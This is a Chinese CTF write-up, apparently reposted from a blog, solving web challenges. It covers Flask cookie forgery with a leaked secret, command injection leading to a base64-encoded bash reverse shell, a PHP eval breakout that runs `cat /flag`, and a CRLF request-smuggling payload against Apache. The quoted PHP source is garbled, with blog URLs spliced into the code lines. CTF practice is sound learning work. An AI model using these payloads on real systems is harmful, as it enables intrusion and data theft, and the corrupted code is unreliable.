rank:3
flask?jwt?
簡單的注冊個賬號,在/changePassword 下查看頁面源代碼發現密鑰<!-- secretkey: th3f1askisfunny --> ,很好,老套路了,flask-session-cookie-manager偽造,把_user_id 改成1,訪問/getFlag ,拿到flag
ez_factors
查看頁面源代碼,發現路由/factors/114514 ,訪問發現114514被分解,猜測后臺邏輯是利用linux命令factor對/factors/后接的字符執行,這樣直接用; 來個多命令執行,訪問/factors/114514;cd ..;cd ..;cd ..;cd ..;cat flag ,有東西不過是一串數字,嗯,看樣子應該是讀不出來了,直接反彈shell,echo YmFzaCAtaSA+JiAvZGV2L3RjcC9pcC9wb3J0IDA+JjE=|base64 -d|bash ,利用base64防止有/導致破壞路由,成功反彈shell

MyWeb
代碼如下:
<?php
error_reporting(E_ALL);
// 寫了個網頁存盤JSON資料,但是還不會處理json格式,這樣處理應該沒有什么問題吧
if ($_GET['mode'] == 'save') {
$data = https://www.cnblogs.com/F12-blog/p/file_get_contents('/tmp/data.json');
$value = https://www.cnblogs.com/F12-blog/p/addslashes($_GET['value']);
$data = https://www.cnblogs.com/F12-blog/p/str_replace(']', ", '$value']", $data);
file_put_contents('/tmp/data.json', $data);
} else if ($_GET['mode'] == 'read') {
$data = https://www.cnblogs.com/F12-blog/p/file_get_contents('/tmp/data.json');
eval('$data = 'https://www.cnblogs.com/F12-blog/p/. $data .';');
print_r($data);
} else {
highlight_file(__FILE__);
}
很明顯能命令執行,寫個1進去,read之后是這樣的

看代碼把] 替換成, $value] ,猜測它的json檔案是這樣寫的:[1,2,3········] 這樣我們構造把它閉合不就能執行命令了,直接構造個
];%0aecho `cat /flag`;%0a[
]閉合前面的[,[則閉合后面的],%0a換行確保我們的命令能執行
read一下,拿到flag

flask?jwt?(hard)
第一道題的復仇版,其實也沒多啥內容,就開了個Debug,讓我們找密鑰,還是先注冊個賬號登錄,頁面源代碼給了個/wor 路由,訪問之后,沒什么有用的資訊,我們直接給seesion改了,刪減幾個字符,成功進入Debug頁面,這里直接抓包,搜secret,成功拿到密鑰

接下來跟第一道一樣的步驟,這里不在贅述
資訊收集
Apache HTTP Server2.4.55,百度一下這個版本,有個請求走私漏洞,但我們啥也不知道,不知道走私哪
參考這篇文章http://www.hackdig.com/03/hack-949961.htm
訪問index.php,這里有個任意檔案讀取,讀/usr/local/apache2/conf/httpd.conf 發現這個

嗯,做了個proxy轉發,猜測flag直接就在轉發后當前目錄flag.txt里(瞎猜就是了,大不了多試試),利用CRLF注入,payload:
/nssctf/0%20HTTP/1.1%0d%0aHost:%20localhost%0d%0a%0d%0aGET%20/flag.txt

TimeTrcer
做大牢,前端做不了一點
轉載請註明出處,本文鏈接:https://www.uj5u.com/qita/554268.html
標籤:其他
下一篇:返回列表
